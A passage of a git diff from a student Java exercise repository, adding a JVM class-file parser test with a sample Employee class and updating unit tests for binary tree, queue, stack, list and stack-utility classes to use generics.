+    		return MULTY;
+    	}else if(DIVIDE.flag.equals(flag)){
+    		return DIVIDE;
+    	}else if(LEFTBRACKRT.flag.equals(flag)){
+    		return LEFTBRACKRT;
+    	}else if(RIGHTBRACKET.flag.equals(flag)){
+    		return RIGHTBRACKET;
+    	}
+    	return null;
+	}
+    
+    public static boolean contains(String flag){
+    	
+    	if(ADD.flag.equals(flag)){
+    		return true;
+    	}else if(SUB.flag.equals(flag)){
+    		return true;
+    	}else if(MULTY.flag.equals(flag)){
+    		return true;
+    	}else if(DIVIDE.flag.equals(flag)){
+    		return true;
+    	}else if(LEFTBRACKRT.flag.equals(flag)){
+    		return true;
+    	}else if(RIGHTBRACKET.flag.equals(flag)){
+    		return true;
+    	}
+    	return false;
+    }
+	public String getFlag() {
+		return flag;
+	}
+
+	public int getLevel() {
+		return level;
+	}
+	
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/ClassFileloaderTest.java b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/ClassFileloaderTest.java
new file mode 100644
index 0000000000..2a18bee6d7
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/ClassFileloaderTest.java
@@ -0,0 +1,349 @@
+package test.com.coderising.jvm;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.exception.NotAClassFileException;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileloaderTest {
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "test/com/coderising/jvm/EmployeeV1";
+	
+	static String path1 = "F:\\githubRes\\coding2017\\group12\\2258659044\\zj-2017\\bin";
+	//static String path1 = "E:\\githubRepository\\coding2017\\group12\\2258659044\\zj-2017\\bin";
+	static String path2 = "C:\temp";
+	
+	
+	static ClassFile clzFile = null;
+	static {
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "test.com.coderising.jvm.EmployeeV1";
+		
+		try {
+			clzFile = loader.loadClass(className);
+		} catch (NotAClassFileException e) {
+			e.printStackTrace();
+		}
+		clzFile.print();
+	}
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		                    
+		String className = "test.com.coderising.jvm.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "test.com.coderising.jvm.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+       
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(51, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		//String code = m.getCodeAttr().getCode();
+		CodeAttr codeAttr = (CodeAttr)m.getAttributeInfos().get(0);
+		String code = codeAttr.getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+}
\ No newline at end of file
diff --git a/group12/2258659044/zj-2017/src/test/com/coderising/jvm/EmployeeV1.java b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/EmployeeV1.java
new file mode 100644
index 0000000000..9692355ed6
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coderising/jvm/EmployeeV1.java
@@ -0,0 +1,28 @@
+package test.com.coderising.jvm;
+
+@SuppressWarnings("unused")
+public class EmployeeV1 {
+		
+	private String name;
+    private int age ;
+        
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java
index 1357cf17cf..98b79b3b6b 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/BinaryTreeTest.java
@@ -1,58 +1,59 @@
-package test.com.coding.basic;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.BinaryTree;
-import com.coding.basic.BinaryTreeNode;
-import com.coding.basic.List;
-
-public class BinaryTreeTest {
-
-	BinaryTree tree ;
-	
-	@Before
-    public void setup() {
-		
-		tree = new BinaryTree();
-		Assert.assertEquals(tree.getRoot(), null);
-		tree.insert(5);
-		tree.insert(2);
-		tree.insert(7);
-		tree.insert(1);
-		tree.insert(6);
-    }
-	@Test
-	public void insert(){
-		
-		BinaryTreeNode  node = tree.insert(4);
-		Assert.assertEquals(node.getParent().getData(), 2);
-		Assert.assertEquals(node.getParent().getLeft().getData(), 1);
-		
-		BinaryTreeNode node2 = tree.insert(8);
-		Assert.assertEquals(node2.getParent().getData(), 7);
-		Assert.assertEquals(node2.getParent().getLeft().getData(), 6);
-	}
-	
-	@Test
-	public void traversal(){
-		
-		insert();
-		//以根节点为起点先序遍历
-		List  treeList = tree.traversalBefore(tree.getRoot());
-		//expected value
-		int[] exValue = {5,2,1,4,7,6,8};
-		for (int i = 0; i < exValue.length; i++) {
-			Assert.assertEquals(treeList.get(i),exValue[i]);
-		}
-		
-		//以数据2位起点先序遍历
-		List  treeList2 = tree.traversalBefore(tree.getRoot().getLeft());
-		//expected value
-		int[] exValue2 = {2,1,4};
-		for (int i = 0; i < exValue2.length; i++) {
-			Assert.assertEquals(treeList2.get(i),exValue2[i]);
-		}
-	}
-}
+package test.com.coding.basic;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.BinaryTree;
+import com.coding.basic.BinaryTreeNode;
+import com.coding.basic.List;
+
+public class BinaryTreeTest {
+
+	BinaryTree tree ;
+	
+	@Before
+    public void setup() {
+		
+		tree = new BinaryTree();
+		Assert.assertEquals(tree.getRoot(), null);
+		tree.insert(5);
+		tree.insert(2);
+		tree.insert(7);
+		tree.insert(1);
+		tree.insert(6);
+    }
+	@SuppressWarnings("unchecked")
+	@Test
+	public void insert(){
+		
+		BinaryTreeNode<Integer>  node = tree.insert(4);
+		Assert.assertEquals((int)node.getParent().getData(), 2);
+		Assert.assertEquals((int)node.getParent().getLeft().getData(), 1);
+		
+		BinaryTreeNode<Integer> node2 = tree.insert(8);
+		Assert.assertEquals((int)node2.getParent().getData(), 7);
+		Assert.assertEquals((int)node2.getParent().getLeft().getData(), 6);
+	}
+	
+	@Test
+	public void traversal(){
+		
+		insert();
+		//以根节点为起点先序遍历
+		List<Integer>  treeList = tree.traversalBefore(tree.getRoot());
+		//expected value
+		int[] exValue = {5,2,1,4,7,6,8};
+		for (int i = 0; i < exValue.length; i++) {
+			Assert.assertEquals((int)treeList.get(i),exValue[i]);
+		}
+		
+		//以数据2位起点先序遍历
+		List<Integer>  treeList2 = tree.traversalBefore(tree.getRoot().getLeft());
+		//expected value
+		int[] exValue2 = {2,1,4};
+		for (int i = 0; i < exValue2.length; i++) {
+			Assert.assertEquals((int)treeList2.get(i),exValue2[i]);
+		}
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java
index 75af57b371..b12d23cdbd 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/QueueTest.java
@@ -1,64 +1,64 @@
-package test.com.coding.basic;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.Queue;
-
-public class QueueTest {
-
-	Queue qe ;
-	
-	@Before
-    public void setup() {
-		qe = new Queue();
-		for (int i = 0; i < 10; i++) {
-			qe.enQueue(i);
-		}		
-    }
-
-	@Test
-	public void enQueue(){
-		
-		Assert.assertEquals(qe.size(), 10);
-		qe.enQueue("abcd");
-		Assert.assertEquals(qe.size(), 11);
-	}
-	
-	@Test//(expected = IndexOutOfBoundsException.class)
-	public void deQueue(){
-		
-		Assert.assertEquals(qe.size(), 10);		
-		for (int i = 0; i < 10; i++) {
-			Assert.assertEquals(qe.deQueue(), i);
-		}
-		Assert.assertEquals(qe.size(), 0);
-		//打开下列语句与期望异常测试
-		//qe.deQueue();
-	}
-	
-	public void isEmpty(){
-		
-		Assert.assertEquals(qe.isEmpty(),false);
-		for (int i = 0; i < 10; i++) {
-			qe.deQueue();
-		}
-		Assert.assertEquals(qe.isEmpty(),true);
-		Queue qe1 = new Queue();
-		Assert.assertEquals(qe1.isEmpty(), true);
-	}
-	
-	public void size(){
-		
-		Assert.assertEquals(qe.size(),10);
-		qe.enQueue("lk");
-		qe.enQueue('h');
-		Assert.assertEquals(qe.size(),12);
-		for (int i = 0; i < 12; i++) {
-			qe.deQueue();
-		}
-		Assert.assertEquals(qe.size(),0);
-		Queue qe1 = new Queue();
-		Assert.assertEquals(qe1.size(), 0);
-	}
-}
+package test.com.coding.basic;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.Queue;
+
+public class QueueTest {
+
+	Queue<Object> qe ;
+	
+	@Before
+    public void setup() {
+		qe = new Queue<>();
+		for (int i = 0; i < 10; i++) {
+			qe.enQueue(i);
+		}		
+    }
+
+	@Test
+	public void enQueue(){
+		
+		Assert.assertEquals(qe.size(), 10);
+		qe.enQueue("abcd");
+		Assert.assertEquals(qe.size(), 11);
+	}
+	
+	@Test//(expected = IndexOutOfBoundsException.class)
+	public void deQueue(){
+		
+		Assert.assertEquals(qe.size(), 10);		
+		for (int i = 0; i < 10; i++) {
+			Assert.assertEquals(qe.deQueue(), i);
+		}
+		Assert.assertEquals(qe.size(), 0);
+		//打开下列语句与期望异常测试
+		//qe.deQueue();
+	}
+	
+	public void isEmpty(){
+		
+		Assert.assertEquals(qe.isEmpty(),false);
+		for (int i = 0; i < 10; i++) {
+			qe.deQueue();
+		}
+		Assert.assertEquals(qe.isEmpty(),true);
+		Queue<Object> qe1 = new Queue<>();
+		Assert.assertEquals(qe1.isEmpty(), true);
+	}
+	
+	public void size(){
+		
+		Assert.assertEquals(qe.size(),10);
+		qe.enQueue("lk");
+		qe.enQueue('h');
+		Assert.assertEquals(qe.size(),12);
+		for (int i = 0; i < 12; i++) {
+			qe.deQueue();
+		}
+		Assert.assertEquals(qe.size(),0);
+		Queue<Object> qe1 = new Queue<>();
+		Assert.assertEquals(qe1.size(), 0);
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayListTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayListTest.java
index 9c4d91e8b3..ee20d2e038 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayListTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayListTest.java
@@ -9,10 +9,10 @@
 
 public class ArrayListTest {
 
-	ArrayList ls ;
+	ArrayList<Object> ls ;
 	@Before
     public void setup() {
-        ls = new ArrayList();       
+        ls = new ArrayList<>();       
     }
 	
 	/**
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayUtilTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayUtilTest.java
index e8303b8aba..c7dce9c1aa 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayUtilTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/array/ArrayUtilTest.java
@@ -94,7 +94,7 @@ public void testJoin() {
 	@Test
 	public void testObjList2int() {
 		
-		ArrayList ls = new ArrayList();
+		ArrayList<Integer> ls = new ArrayList<>();
 		for (int i = 0; i < 10; i++) {
 			ls.add(i);
 		}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/linklist/LinkedListTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/linklist/LinkedListTest.java
index 9a6e86000e..26d95dbc98 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/linklist/LinkedListTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/linklist/LinkedListTest.java
@@ -9,10 +9,10 @@
 
 public class LinkedListTest {
 
-	LinkedList ls ;
+	LinkedList<Object> ls ;
 	@Before
     public void setup() {
-        ls = new LinkedList();       
+        ls = new LinkedList<>();       
     }
 	
 	/**
@@ -169,7 +169,7 @@ public void testGetElements(){
 		ls.add(201);ls.add(301);
 		ls.add(401);ls.add(501);
 		ls.add(601);ls.add(701);
-		LinkedList list = new LinkedList();
+		LinkedList<Integer> list = new LinkedList<>();
 		list.add(1);list.add(3);
 		list.add(4);list.add(6);
 		int[] exceptArr = {101,301,401,601};
@@ -189,7 +189,7 @@ public void testSubtract(){
 		ls.add(8);
 		ls.add(10);
 		
-		LinkedList list = new LinkedList();
+		LinkedList<Object> list = new LinkedList<>();
 		list.add(2);
 		list.add(5);
 		
@@ -236,19 +236,19 @@ public void testIntersection(){
 		ls.add(3);
 		ls.add(5);
 		
-		LinkedList list = new LinkedList();
+		LinkedList<Object> list = new LinkedList<>();
 		list.add(-1);
 		list.add(0);
 		list.add(5);
 		list.add(9);
 		
-		LinkedList newList = ls.intersection(list);
+		LinkedList<Object> newList = ls.intersection(list);
 		
 		int[] exceptArr = {-1,0,5};
 		exceptResult(newList,exceptArr);
 	}
 	
-    private void exceptResult(LinkedList ls,int[] exceptArr){
+    private void exceptResult(LinkedList<Object> ls,int[] exceptArr){
 		
 		Assert.assertEquals(ls.size(), exceptArr.length);
 		for (int i = 0; i < exceptArr.length; i++) {
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/StackTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackTest.java
similarity index 82%
rename from group12/2258659044/zj-2017/src/test/com/coding/basic/StackTest.java
rename to group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackTest.java
index 5d9fcd0f16..d43b6f1914 100644
--- a/group12/2258659044/zj-2017/src/test/com/coding/basic/StackTest.java
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackTest.java
@@ -1,76 +1,76 @@
-package test.com.coding.basic;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coding.basic.Stack;
-
-public class StackTest {
-
-	Stack st ;
-	
-	@Before
-    public void setup() {
-		st = new Stack();
-		for (int i = 0; i < 10; i++) {
-			st.push(i);
-		}		
-    }
-
-	@Test
-	public void push(){
-		
-		Assert.assertEquals(st.size(), 10);
-		st.push(10);
-		st.push('a');
-		Assert.assertEquals(st.size(), 12);
-	}
-	
-	@Test//(expected = IndexOutOfBoundsException.class)
-	public void pop(){
-		
-		Assert.assertEquals(st.size(), 10);
-		for (int i = 9; i >= 0; i--) {
-			Assert.assertEquals(st.pop(), i);
-		}
-		//打开下列语句抛出期望异常
-		//st.pop();
-	}
-	
-	@Test
-	public void peek(){
-		
-		Assert.assertEquals(st.size(), 10);
-		Assert.assertEquals(st.peek(), 9);
-		Assert.assertEquals(st.size(), 10);
-	}
-	
-	@Test
-	public void isEmpty(){
-		
-		Assert.assertEquals(st.isEmpty(), false);
-		for (int i = 0; i < 10; i++) {
-			st.pop();
-		}
-		Assert.assertEquals(st.isEmpty(), true);
-		Stack st1 = new Stack();
-		Assert.assertEquals(st1.isEmpty(), true);
-	}
-	
-    public void size(){
-		
-		Assert.assertEquals(st.size(),10);
-		st.push("lk");
-		st.push('h');
-		Assert.assertEquals(st.size(),12);
-		for (int i = 0; i < 12; i++) {
-			st.pop();
-		}
-		Assert.assertEquals(st.size(),0);
-		st.peek();
-		Assert.assertEquals(st.size(),0);
-		Stack st1 = new Stack();
-		Assert.assertEquals(st1.size(), 0);
-	}
-}
+package test.com.coding.basic.stack;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.stack.Stack;
+
+public class StackTest {
+
+	Stack<Object> st ;
+	
+	@Before
+    public void setup() {
+		st = new Stack<>();
+		for (int i = 0; i < 10; i++) {
+			st.push(i);
+		}		
+    }
+
+	@Test
+	public void push(){
+		
+		Assert.assertEquals(st.size(), 10);
+		st.push(10);
+		st.push('a');
+		Assert.assertEquals(st.size(), 12);
+	}
+	
+	@Test//(expected = IndexOutOfBoundsException.class)
+	public void pop(){
+		
+		Assert.assertEquals(st.size(), 10);
+		for (int i = 9; i >= 0; i--) {
+			Assert.assertEquals(st.pop(), i);
+		}
+		//打开下列语句抛出期望异常
+		//st.pop();
+	}
+	
+	@Test
+	public void peek(){
+		
+		Assert.assertEquals(st.size(), 10);
+		Assert.assertEquals(st.peek(), 9);
+		Assert.assertEquals(st.size(), 10);
+	}
+	
+	@Test
+	public void isEmpty(){
+		
+		Assert.assertEquals(st.isEmpty(), false);
+		for (int i = 0; i < 10; i++) {
+			st.pop();
+		}
+		Assert.assertEquals(st.isEmpty(), true);
+		Stack<Object> st1 = new Stack<>();
+		Assert.assertEquals(st1.isEmpty(), true);
+	}
+	
+    public void size(){
+		
+		Assert.assertEquals(st.size(),10);
+		st.push("lk");
+		st.push('h');
+		Assert.assertEquals(st.size(),12);
+		for (int i = 0; i < 12; i++) {
+			st.pop();
+		}
+		Assert.assertEquals(st.size(),0);
+		st.peek();
+		Assert.assertEquals(st.size(),0);
+		Stack<Object> st1 = new Stack<>();
+		Assert.assertEquals(st1.size(), 0);
+	}
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackUtilTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..d09f893de2
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,95 @@
+package test.com.coding.basic.stack;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.stack.Stack;
+import com.coding.basic.stack.StackUtil;
+
+public class StackUtilTest {
+	
+	Stack<Object> s ;
+    
+    @Before
+    public void setup() {
+    	//初始化栈元素：5,4,3,2,1
+		s = new Stack<>();
+		for (int i = 1; i <= 5; i++) {
+			s.push(i);
+		}
+    }
+    	
+	@Test
+	public void testReverse() {
+		
+		StackUtil.reverse(s);
+		Assert.assertEquals(s.size(), 5);		
+		Assert.assertEquals("[1,2,3,4,5]", s.toString());
+	}
+
+	@Test
+	public void testRemove() {
+		
+		StackUtil.remove(s, 5);
+		Assert.assertEquals("[4,3,2,1]", s.toString());
+		
+		StackUtil.remove(s, 1);
+		Assert.assertEquals("[4,3,2]", s.toString());
+		
+		StackUtil.remove(s, 4);
+		Assert.assertEquals("[3,2]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		
+		Object[] obj = StackUtil.getTop(s, 6);
+		Assert.assertEquals(5, obj.length);
+		Assert.assertEquals(s.toString(),arrayToString(obj));
+		
+		Object[] obj1 = StackUtil.getTop(s, 2);
+		Assert.assertEquals(2, obj1.length);		
+		Assert.assertEquals("[5,4]",arrayToString(obj1));
+		
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		
+		String s0 = "([e{d}f])";				
+		Assert.assertEquals(true,StackUtil.isValidPairs(s0));
+		
+		String s1 = "(]e{d}f[)";				
+		Assert.assertEquals(false,StackUtil.isValidPairs(s1));
+		
+		String s2 = "([b{x]y})";
+		Assert.assertEquals(false,StackUtil.isValidPairs(s2));
+		
+		String s3 = "()((()()))()";
+		Assert.assertEquals(true,StackUtil.isValidPairs(s3));
+		
+		String s4 = "(fs{fs[fs(";
+		Assert.assertEquals(false,StackUtil.isValidPairs(s4));
+		
+		String s5 = "gshsg54fs";
+		Assert.assertEquals(false,StackUtil.isValidPairs(s5));
+		
+		
+	}
+	
+	private static String arrayToString(Object[] objs){
+		
+		StringBuffer sBuffer = new StringBuffer();
+		sBuffer.append("[");
+		
+		for (int i = 0; i < objs.length; i++) {
+			if(i == objs.length-1){
+				sBuffer.append(objs[i]+"]");
+			}else{
+				sBuffer.append(objs[i]+",");
+			}			
+		}
+		return sBuffer.toString();
+	}
+}
